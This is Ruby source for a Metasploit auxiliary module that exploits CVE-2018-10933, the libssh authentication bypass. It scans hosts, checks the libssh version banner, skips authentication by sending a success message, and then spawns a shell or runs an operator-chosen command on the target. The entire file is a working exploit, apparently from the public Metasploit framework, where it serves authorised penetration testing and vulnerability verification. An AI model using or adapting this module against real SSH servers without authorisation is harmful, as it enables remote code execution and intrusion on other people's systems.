##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary
def initialize(info = {})
super(update_info(info,
'Name' => 'libssh Authentication Bypass Scanner',
'Description' => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.
Note that this module's success depends on whether the server code
can trigger the correct (shell/exec) callbacks despite only the state
machine's authenticated state being set.
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
'Author' => [
'Peter Winter-Smith', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2018-10933'],
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
],
'DisclosureDate' => '2018-10-16',
'License' => MSF_LICENSE,
'Actions' => [
['Shell', 'Description' => 'Spawn a shell'],
['Execute', 'Description' => 'Execute a command']
],
'DefaultAction' => 'Shell'
))
register_options([
Opt::RPORT(22),
OptString.new('CMD', [false, 'Command or alternative shell']),
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ /libssh[_-]?([\d.]*)$/ && $1 && (v = Rex::Version.new($1))
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
Exploit::CheckCode::Unknown
elsif v.to_s.empty?
vprint_warning("#{ip}:#{rport} - libssh version not reported")
Exploit::CheckCode::Detected
elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||
v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
Exploit::CheckCode::Appears
else
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
Exploit::CheckCode::Safe
end
end
def run_host(ip)
if action.name == 'Execute' && datastore['CMD'].blank?
fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')
end
ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
auth_methods: ['libssh-auth-bypass']
})
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
print_status("#{ip}:#{rport} - Attempting authentication bypass")
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, username, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
return unless ssh
version = ssh.transport.server_version.version
# XXX: The OOB authentication leads to false positives, so check banner
if datastore['CHECK_BANNER']
return if check_banner(ip, version) !=
(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)
end
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)
shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY'])
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1
if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end
print_status("Attempting #{action.name.inspect} Action, see \"show actions\" for more details")
case action.name
when 'Shell'
if datastore['CreateSession']
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
end
when 'Execute'
output = shell.channel && (shell.channel[:data] || '').chomp
if output.blank?
print_error("#{ip}:#{rport} - Empty or blank command output")
return
end
print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")
end
end
def rport
datastore['RPORT']
end
def username
Rex::Text.rand_text_alphanumeric(8..42)
end
end